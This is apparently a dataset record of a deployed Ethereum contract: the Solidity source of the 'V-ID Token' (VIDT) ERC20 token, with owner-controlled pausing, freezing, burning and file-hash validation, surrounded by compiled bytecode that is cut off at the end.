162461bcd60e51b815260206004820152601860248201527f43616c6c657220686173206e6f207065726d697373696f6e0000000000000000604482015290519081900360640190fd5b81600081116109d0576040805162461bcd60e51b8152602060048201526013602482015272135a5b9d1a5b99c81e995c9bc8185b5bdd5b9d606a1b604482015290519081900360640190fd5b60055460ff1615610a1e576040805162461bcd60e51b8152602060048201526013602482015272135a5b9d1a5b99c81a5cc8199a5b9a5cda1959606a1b604482015290519081900360640190fd5b6108318484611425565b610a323382611515565b50565b6001600160a01b031660009081526020819052604090205490565b610a5a8282611611565b5050565b610a6733611150565b610aa6576040805162461bcd60e51b81526020600482018190526024820152600080516020611ad4833981519152604482015290519081900360640190fd5b6005805460ff19166001179055565b6003546001600160a01b031690565b610acd33611150565b610b0c576040805162461bcd60e51b81526020600482018190526024820152600080516020611ad4833981519152604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516000916001600160a01b038516916370a0823191602480820192602092909190829003018186803b158015610b5657600080fd5b505afa158015610b6a573d6000803e3d6000fd5b505050506040513d6020811015610b8057600080fd5b50519050610b9e6001600160a01b038416838363ffffffff61165616565b505050565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106d15780601f106106a6576101008083540402835291602001916106d1565b610c0d33611150565b610c4c576040805162461bcd60e51b81526020600482018190526024820152600080516020611ad4833981519152604482015290519081900360640190fd5b610c5d60048263ffffffff6116a816565b6040516001600160a01b038216907f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f690600090a250565b60006106ef610ca1611060565b8461082c85604051806060016040528060258152602001611bf46025913960016000610ccb611060565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff6112c616565b6001600160a01b03821660009081526009602052604081205460ff1615610d4557604080516000815260208101909152610d3f9084908490610d9f565b506106ef565b610d4f8383611729565b5050600192915050565b6000610d6c60048363ffffffff61173d16565b80610d7b5750610d7b82611150565b92915050565b6001600160a01b031660009081526009602052604090205460ff1690565b6000610dab84846106db565b610db457600080fd5b604051638f4ffcb160e01b815233600482018181526024830186905230604484018190526080606485019081528651608486015286516001600160a01b038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610e2e578181015183820152602001610e16565b50505050905090810190601f168015610e5b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610e7d57600080fd5b505af1158015610e91573d6000803e3d6000fd5b506001979650505050505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610ed333611150565b610f12576040805162461bcd60e51b81526020600482018190526024820152600080516020611ad4833981519152604482015290519081900360640190fd5b6001600160a01b038116610f575760405162461bcd60e51b8152600401808060200182810382526026815260200180611a1d6026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b610fbc33611150565b610ffb576040805162461bcd60e51b81526020600482018190526024820152600080516020611ad4833981519152604482015290519081900360640190fd5b61100481610d81565b61103f5760405162461bcd60e51b8152600401808060200182810382526024815260200180611baa6024913960400191505060405180910390fd5b6001600160a01b03166000908152600960205260409020805460ff19169055565b3390565b6001600160a01b0383166110a95760405162461bcd60e51b8152600401808060200182810382526024815260200180611b5c6024913960400191505060405180910390fd5b6001600160a01b0382166110ee5760405162461bcd60e51b8152600401808060200182810382526022815260200180611a436022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6003546001600160a01b0390811691161490565b3b151590565b6001600160a01b0383166111af5760405162461bcd60e51b8152600401808060200182810382526025815260200180611b376025913960400191505060405180910390fd5b6001600160a01b0382166111f45760405162461bcd60e51b81526004018080602001828103825260238152602001806119d86023913960400191505060405180910390fd5b61123781604051806060016040528060268152602001611a65602691396001600160a01b038616600090815260208190526040902054919063ffffffff6112c616565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461126c908263ffffffff6113c416565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156113555760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561131a578181015183820152602001611302565b50505050905090810190601f1680156113475780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b611367828261173d565b6113a25760405162461bcd60e51b8152600401808060200182810382526021815260200180611a8b6021913960400191505060405180910390fd5b6001600160a01b0316600090815260209190915260409020805460ff19169055565b60008282018381101561141e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b038216611480576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254611493908263ffffffff6113c416565b6002556001600160a01b0382166000908152602081905260409020546114bf908263ffffffff6113c416565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b03821661155a5760405162461bcd60e51b8152600401808060200182810382526021815260200180611b166021913960400191505060405180910390fd5b61159d816040518060600160405280602281526020016119fb602291396001600160a01b038516600090815260208190526040902054919063ffffffff6112c616565b6001600160a01b0383166000908152602081905260409020556002546115c9908263ffffffff6117a416565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b61161b8282611515565b6001600160a01b038216600090815260016020908152604080832033808552925290912054610a5a91849161082c908563ffffffff6117a416565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610b9e9084906117e6565b6116b2828261173d565b15611704576040805162461bcd60e51b815260206004820152601f60248201527f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500604482015290519081900360640190fd5b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b60006106ef611736611060565b848461116a565b60006001600160a01b0382166117845760405162461bcd60e51b8152600401808060200182810382526022815260200180611af46022913960400191505060405180910390fd5b506001600160a01b03166000908152602091909152604090205460ff1690565b600061141e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112c6565b6117ef8261199b565b611840576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b6020831061187e5780518252601f19909201916020918201910161185f565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146118e0576040519150601f19603f3d011682016040523d82523d6000602084013e6118e5565b606091505b50915091508161193c576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156119955780806020019051602081101561195857600080fd5b50516119955760405162461bcd60e51b815260040180806020018281038252602a815260200180611b80602a913960400191505060405180910390fd5b50505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906119cf5750808214155b94935050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c6545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572526f6c65733a206163636f756e7420697320746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564546f6b656e3a206163636f756e74206973206e6f74207265676973746572656420796574546f6b656e3a206163636f756e74206973206e6f74206120736d61727420636f6e747261637445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820a9fd0749e7c87afd06c34fec948db9491d40e514374343b60c63f221ea01240f64736f6c634300050c0032
|
{"success": true, "error": null, "results": {}}
| 8,656 |
0x445f51299ef3307dbd75036dd896565f5b4bf7a5
|
pragma solidity ^0.4.24;
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256 balance);
function allowance(address owner, address spender) public view returns (uint256 remaining);
function transfer(address to, uint256 value) public returns (bool success);
function approve(address spender, uint256 value) public returns (bool success);
function transferFrom(address from, address to, uint256 value) public returns (bool success);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a - b;
assert(b <= a && c <= a);
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a && c>=b);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20 _token, address _to, uint256 _value) internal {
require(_token.transfer(_to, _value));
}
}
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner,"O1- Owner only function");
_;
}
function setOwner(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract Pausable is Owned {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract VIDToken is Owned, Pausable, ERC20 {
using SafeMath for uint256;
using SafeERC20 for ERC20;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
mapping (address => bool) public frozenAccount;
mapping (address => bool) public verifyPublisher;
mapping (address => bool) public verifyWallet;
struct fStruct { uint256 index; }
mapping(string => fStruct) private fileHashes;
string[] private fileIndex;
string public constant name = "V-ID Token";
uint8 public constant decimals = 18;
string public constant symbol = "VIDT";
uint256 public constant initialSupply = 100000000;
uint256 public validationPrice = 7 * 10 ** uint(decimals);
address public validationWallet = address(0);
constructor() public {
validationWallet = msg.sender;
verifyWallet[msg.sender] = true;
totalSupply = initialSupply * 10 ** uint(decimals);
balances[msg.sender] = totalSupply;
emit Transfer(address(0),owner,initialSupply);
}
function () public payable {
revert();
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) {
require(_to != msg.sender,"T1- Recipient can not be the same as sender");
require(_to != address(0),"T2- Please check the recipient address");
require(balances[msg.sender] >= _value,"T3- The balance of sender is too low");
require(!frozenAccount[msg.sender],"T4- The wallet of sender is frozen");
require(!frozenAccount[_to],"T5- The wallet of recipient is frozen");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool success) {
require(_to != address(0),"TF1- Please check the recipient address");
require(balances[_from] >= _value,"TF2- The balance of sender is too low");
require(allowed[_from][msg.sender] >= _value,"TF3- The allowance of sender is too low");
require(!frozenAccount[_from],"TF4- The wallet of sender is frozen");
require(!frozenAccount[_to],"TF5- The wallet of recipient is frozen");
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0),"A1- Reset allowance to 0 first");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint256 _addedValue) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].sub(_subtractedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
struct TKN { address sender; uint256 value; bytes data; bytes4 sig; }
function tokenFallback(address _from, uint256 _value, bytes _data) public pure returns (bool) {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
return true;
}
function transferToken(address tokenAddress, uint256 tokens) public onlyOwner {
ERC20(tokenAddress).safeTransfer(owner,tokens);
}
function burn(uint256 _value) public onlyOwner returns (bool) {
require(_value <= balances[msg.sender],"B1- The balance of burner is too low");
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
return true;
}
function freeze(address _address, bool _state) public onlyOwner returns (bool) {
frozenAccount[_address] = _state;
emit Freeze(_address, _state);
return true;
}
function validatePublisher(address Address, bool State, string Publisher) public onlyOwner returns (bool) {
verifyPublisher[Address] = State;
emit ValidatePublisher(Address,State,Publisher);
return true;
}
function validateWallet(address Address, bool State, string Wallet) public onlyOwner returns (bool) {
verifyWallet[Address] = State;
emit ValidateWallet(Address,State,Wallet);
return true;
}
function validateFile(address To, uint256 Payment, bytes Data, bool cStore, bool eLog) public whenNotPaused returns (bool) {
require(Payment>=validationPrice,"V1- Insufficient payment provided");
require(verifyPublisher[msg.sender],"V2- Unverified publisher address");
require(!frozenAccount[msg.sender],"V3- The wallet of publisher is frozen");
require(Data.length == 64,"V4- Invalid hash provided");
if (!verifyWallet[To] || frozenAccount[To]) {
To = validationWallet;
}
uint256 index = 0;
string memory fileHash = string(Data);
if (cStore) {
if (fileIndex.length > 0) {
require(fileHashes[fileHash].index == 0,"V5- This hash was previously validated");
}
fileHashes[fileHash].index = fileIndex.push(fileHash)-1;
index = fileHashes[fileHash].index;
}
if (allowed[To][msg.sender] >= Payment) {
allowed[To][msg.sender] = allowed[To][msg.sender].sub(Payment);
} else {
balances[msg.sender] = balances[msg.sender].sub(Payment);
balances[To] = balances[To].add(Payment);
}
emit Transfer(msg.sender, To, Payment);
if (eLog) {
emit ValidateFile(index,fileHash);
}
return true;
}
function verifyFile(string fileHash) public view returns (bool) {
if (fileIndex.length == 0) {
return false;
}
bytes memory a = bytes(fileIndex[fileHashes[fileHash].index]);
bytes memory b = bytes(fileHash);
if (a.length != b.length) {
return false;
}
for (uint256 i = 0; i < a.length; i ++) {
if (a[i] != b[i]) {
return false;
}
}
return true;
}
function setPrice(uint256 newPrice) public onlyOwner {
validationPrice = newPrice;
}
function setWallet(address newWallet) public onlyOwner {
validationWallet = newWallet;
}
function listFiles(uint256 startAt, uint256 stopAt) onlyOwner public returns (bool) {
if (fileIndex.length == 0) {
return false;
}
require(startAt <= fileIndex.length-1,"L1- Please select a valid start");
if (stopAt > 0) {
require(stopAt > startAt && stopAt <= fileIndex.length-1,"L2- Please select a valid stop");
} else {
stopAt = fileIndex.length-1;
}
for (uint256 i = startAt; i <= stopAt; i++) {
emit LogEvent(i,fileIndex[i]);
}
return true;
}
event Burn(address indexed burner, uint256 value);
event Freeze(address target, bool frozen);
event ValidateFile(uint256 index, string data);
event ValidatePublisher(address indexed publisherAddress, bool state, string indexed publisherName);
event ValidateWallet(address indexed walletAddress, bool state, string indexed walletName);
event LogEvent(uint256 index, string data) anonymous;
}
|
0x60806040526004361061019d5763ffffffff60e060020a60003504166306fdde0381146101a2578063095ea7b31461022c5780631072cbea1461026457806313af40351461028a57806318160ddd146102ab5780631927a8ea146102d257806323b872dd146102ed57806327e235e314610317578063313ce5671461033857806336ef12d514610363578063378dc3dc146103845780633f4ba83a1461039957806342966c68146103ae5780634e83977a146103c65780635c658165146103f75780635c975abb1461041e578063661884631461043357806370a08231146104575780638456cb59146104785780638da5cb5b1461048d57806391b7f5ed146104a257806395d89b41146104ba578063a9059cbb146104cf578063ae7d00f3146104f3578063b027102314610508578063b414d4b614610561578063bb0bef1914610582578063bf120ae5146105f4578063c0ee0b8a1461061a578063d22e7b6914610683578063d73dd623146106ee578063dd62ed3e14610712578063deaa59df14610739578063fc399c791461075a578063fe8312c11461077b575b600080fd5b3480156101ae57600080fd5b506101b76107e6565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f15781810151838201526020016101d9565b50505050905090810190601f16801561021e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023857600080fd5b50610250600160a060020a036004351660243561081d565b604080519115158252519081900360200190f35b34801561027057600080fd5b50610288600160a060020a0360043516602435610920565b005b34801561029657600080fd5b50610288600160a060020a0360043516610994565b3480156102b757600080fd5b506102c0610a13565b60408051918252519081900360200190f35b3480156102de57600080fd5b50610250600435602435610a19565b3480156102f957600080fd5b50610250600160a060020a0360043581169060243516604435610c29565b34801561032357600080fd5b506102c0600160a060020a0360043516611027565b34801561034457600080fd5b5061034d611039565b6040805160ff9092168252519081900360200190f35b34801561036f57600080fd5b50610250600160a060020a036004351661103e565b34801561039057600080fd5b506102c0611053565b3480156103a557600080fd5b5061028861105b565b3480156103ba57600080fd5b5061025060043561110a565b3480156103d257600080fd5b506103db611291565b60408051600160a060020a039092168252519081900360200190f35b34801561040357600080fd5b506102c0600160a060020a03600435811690602435166112a0565b34801561042a57600080fd5b506102506112bd565b34801561043f57600080fd5b50610250600160a060020a03600435166024356112cd565b34801561046357600080fd5b506102c0600160a060020a036004351661137e565b34801561048457600080fd5b50610288611399565b34801561049957600080fd5b506103db61144d565b3480156104ae57600080fd5b5061028860043561145c565b3480156104c657600080fd5b506101b76114b1565b3480156104db57600080fd5b50610250600160a060020a03600435166024356114e8565b3480156104ff57600080fd5b506102c061185c565b34801561051457600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102509436949293602493928401919081908401838280828437509497506118629650505050505050565b34801561056d57600080fd5b50610250600160a060020a0360043516611a4e565b34801561058e57600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610250948235600160a060020a03169460248035953695946064949201919081908401838280828437509497505050508235151593505050602001351515611a63565b34801561060057600080fd5b50610250600160a060020a0360043516602435151561207f565b34801561062657600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610250948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506121399650505050505050565b34801561068f57600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610250948235600160a060020a0316946024803515159536959460649492019190819084018382808284375094975061228d9650505050505050565b3480156106fa57600080fd5b50610250600160a060020a03600435166024356123a6565b34801561071e57600080fd5b506102c0600160a060020a03600435811690602435166123f2565b34801561074557600080fd5b50610288600160a060020a036004351661241d565b34801561076657600080fd5b50610250600160a060020a036004351661249c565b34801561078757600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610250948235600160a060020a031694602480351515953695946064949201919081908401838280828437509497506124b19650505050505050565b60408051808201909152600a81527f562d494420546f6b656e00000000000000000000000000000000000000000000602082015281565b6000805460a060020a900460ff161561083557600080fd5b8115806108635750336000908152600360209081526040808320600160a060020a0387168452909152902054155b15156108b9576040805160e560020a62461bcd02815260206004820152601e60248201527f41312d20526573657420616c6c6f77616e636520746f20302066697273740000604482015290519081900360640190fd5b336000818152600360209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b600054600160a060020a03163314610970576040805160e560020a62461bcd0281526020600482015260176024820152600080516020612766833981519152604482015290519081900360640190fd5b60005461099090600160a060020a0384811691168363ffffffff6125ca16565b5050565b600054600160a060020a031633146109e4576040805160e560020a62461bcd0281526020600482015260176024820152600080516020612766833981519152604482015290519081900360640190fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60015481565b600080548190600160a060020a03163314610a6c576040805160e560020a62461bcd0281526020600482015260176024820152600080516020612766833981519152604482015290519081900360640190fd5b6008541515610a7e5760009150610c22565b60085460001901841115610adc576040805160e560020a62461bcd02815260206004820152601f60248201527f4c312d20506c656173652073656c65637420612076616c696420737461727400604482015290519081900360640190fd5b6000831115610b55578383118015610afa5750600854600019018311155b1515610b50576040805160e560020a62461bcd02815260206004820152601e60248201527f4c322d20506c656173652073656c65637420612076616c69642073746f700000604482015290519081900360640190fd5b610b5f565b6008546000190192505b50825b828111610c1d5780600882815481101515610b7957fe5b600091825260209182902060408051858152938401818152919092018054600260001961010060018416150201909116049284018390529291606083019084908015610c065780601f10610bdb57610100808354040283529160200191610c06565b820191906000526020600020905b815481529060010190602001808311610be957829003601f168201915b5050935050505060405180910390a0600101610b62565b600191505b5092915050565b6000805460a060020a900460ff1615610c4157600080fd5b600160a060020a0383161515610cc7576040805160e560020a62461bcd02815260206004820152602760248201527f5446312d20506c6561736520636865636b2074686520726563697069656e742060448201527f6164647265737300000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a038416600090815260026020526040902054821115610d5d576040805160e560020a62461bcd02815260206004820152602560248201527f5446322d205468652062616c616e6365206f662073656e64657220697320746f60448201527f6f206c6f77000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0384166000908152600360209081526040808320338452909152902054821115610dfe576040805160e560020a62461bcd02815260206004820152602760248201527f5446332d2054686520616c6c6f77616e6365206f662073656e6465722069732060448201527f746f6f206c6f7700000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a03841660009081526004602052604090205460ff1615610e95576040805160e560020a62461bcd02815260206004820152602360248201527f5446342d205468652077616c6c6574206f662073656e6465722069732066726f60448201527f7a656e0000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a03831660009081526004602052604090205460ff1615610f2c576040805160e560020a62461bcd02815260206004820152602660248201527f5446352d205468652077616c6c6574206f6620726563697069656e742069732060448201527f66726f7a656e0000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a038416600090815260026020526040902054610f55908363ffffffff61266916565b600160a060020a038086166000908152600260205260408082209390935590851681522054610f8a908363ffffffff61268a16565b600160a060020a038085166000908152600260209081526040808320949094559187168152600382528281203382529091522054610fce908363ffffffff61266916565b600160a060020a0380861660008181526003602090815260408083203384528252918290209490945580518681529051928716939192600080516020612786833981519152929181900390910190a35060019392505050565b60026020526000908152604090205481565b601281565b60056020526000908152604090205460ff1681565b6305f5e10081565b600054600160a060020a031633146110ab576040805160e560020a62461bcd0281526020600482015260176024820152600080516020612766833981519152604482015290519081900360640190fd5b60005460a060020a900460ff1615156110c357600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b60008054600160a060020a0316331461115b576040805160e560020a62461bcd0281526020600482015260176024820152600080516020612766833981519152604482015290519081900360640190fd5b336000908152600260205260409020548211156111e7576040805160e560020a62461bcd028152602060048201526024808201527f42312d205468652062616c616e6365206f66206275726e657220697320746f6f60448201527f206c6f7700000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b33600090815260026020526040902054611207908363ffffffff61266916565b3360009081526002602052604090205560015461122a908363ffffffff61266916565b60015560408051838152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a260408051838152905160009133916000805160206127868339815191529181900360200190a3506001919050565b600a54600160a060020a031681565b600360209081526000928352604080842090915290825290205481565b60005460a060020a900460ff1681565b6000805460a060020a900460ff16156112e557600080fd5b336000908152600360209081526040808320600160a060020a0387168452909152902054611319908363ffffffff61266916565b336000818152600360209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a031660009081526002602052604090205490565b600054600160a060020a031633146113e9576040805160e560020a62461bcd0281526020600482015260176024820152600080516020612766833981519152604482015290519081900360640190fd5b60005460a060020a900460ff161561140057600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031681565b600054600160a060020a031633146114ac576040805160e560020a62461bcd0281526020600482015260176024820152600080516020612766833981519152604482015290519081900360640190fd5b600955565b60408051808201909152600481527f5649445400000000000000000000000000000000000000000000000000000000602082015281565b6000805460a060020a900460ff161561150057600080fd5b600160a060020a038316331415611587576040805160e560020a62461bcd02815260206004820152602b60248201527f54312d20526563697069656e742063616e206e6f74206265207468652073616d60448201527f652061732073656e646572000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a038316151561160d576040805160e560020a62461bcd02815260206004820152602660248201527f54322d20506c6561736520636865636b2074686520726563697069656e74206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b33600090815260026020526040902054821115611699576040805160e560020a62461bcd028152602060048201526024808201527f54332d205468652062616c616e6365206f662073656e64657220697320746f6f60448201527f206c6f7700000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b3360009081526004602052604090205460ff1615611727576040805160e560020a62461bcd02815260206004820152602260248201527f54342d205468652077616c6c6574206f662073656e6465722069732066726f7a60448201527f656e000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a03831660009081526004602052604090205460ff16156117be576040805160e560020a62461bcd02815260206004820152602560248201527f54352d205468652077616c6c6574206f6620726563697069656e74206973206660448201527f726f7a656e000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b336000908152600260205260409020546117de908363ffffffff61266916565b3360009081526002602052604080822092909255600160a060020a03851681522054611810908363ffffffff61268a16565b600160a060020a0384166000818152600260209081526040918290209390935580518581529051919233926000805160206127868339815191529281900390910190a350600192915050565b60095481565b60006060806000600880549050600014156118805760009350611a46565b60086007866040518082805190602001908083835b602083106118b45780518252601f199092019160209182019101611895565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220548354909250821090506118ef57fe5b600091825260209182902001805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561197d5780601f106119525761010080835404028352916020019161197d565b820191906000526020600020905b81548152906001019060200180831161196057829003601f168201915b505050505092508491508151835114151561199b5760009350611a46565b5060005b8251811015611a415781818151811015156119b657fe5b90602001015160f860020a900460f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191683828151811015156119f957fe5b60209101015160f860020a90819004027fff000000000000000000000000000000000000000000000000000000000000001614611a395760009350611a46565b60010161199f565b600193505b505050919050565b60046020526000908152604090205460ff1681565b60008054819060609060a060020a900460ff1615611a8057600080fd5b600954871015611b00576040805160e560020a62461bcd02815260206004820152602160248201527f56312d20496e73756666696369656e74207061796d656e742070726f7669646560448201527f6400000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b3360009081526005602052604090205460ff161515611b69576040805160e560020a62461bcd02815260206004820181905260248201527f56322d20556e7665726966696564207075626c69736865722061646472657373604482015290519081900360640190fd5b3360009081526004602052604090205460ff1615611bf7576040805160e560020a62461bcd02815260206004820152602560248201527f56332d205468652077616c6c6574206f66207075626c6973686572206973206660448201527f726f7a656e000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b8551604014611c50576040805160e560020a62461bcd02815260206004820152601960248201527f56342d20496e76616c696420686173682070726f766964656400000000000000604482015290519081900360640190fd5b600160a060020a03881660009081526006602052604090205460ff161580611c905750600160a060020a03881660009081526004602052604090205460ff165b15611ca457600a54600160a060020a031697505b5060009050848415611ea85760085460001015611d98576007816040518082805190602001908083835b60208310611ced5780518252601f199092019160209182019101611cce565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054159150611d989050576040805160e560020a62461bcd02815260206004820152602660248201527f56352d20546869732068617368207761732070726576696f75736c792076616c60448201527f6964617465640000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6008805460018181018084556000939093528351909291611de2917ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee39091019060208601906126a2565b50036007826040518082805190602001908083835b60208310611e165780518252601f199092019160209182019101611df7565b51815160209384036101000a60001901801990921691161790529201948552506040519384900381018420949094555050825160079284929182918401908083835b60208310611e775780518252601f199092019160209182019101611e58565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054935050505b600160a060020a03881660009081526003602090815260408083203384529091529020548711611f2f57600160a060020a0388166000908152600360209081526040808320338452909152902054611f06908863ffffffff61266916565b600160a060020a0389166000908152600360209081526040808320338452909152902055611f9b565b33600090815260026020526040902054611f4f908863ffffffff61266916565b3360009081526002602052604080822092909255600160a060020a038a1681522054611f81908863ffffffff61268a16565b600160a060020a0389166000908152600260205260409020555b604080518881529051600160a060020a038a169133916000805160206127868339815191529181900360200190a38315612071577f9c0869bc3817f1ac640137074dc06b0f25f80f238c719419b6cff93dfab4dd4182826040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561203557818101518382015260200161201d565b50505050905090810190601f1680156120625780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15b506001979650505050505050565b60008054600160a060020a031633146120d0576040805160e560020a62461bcd0281526020600482015260176024820152600080516020612766833981519152604482015290519081900360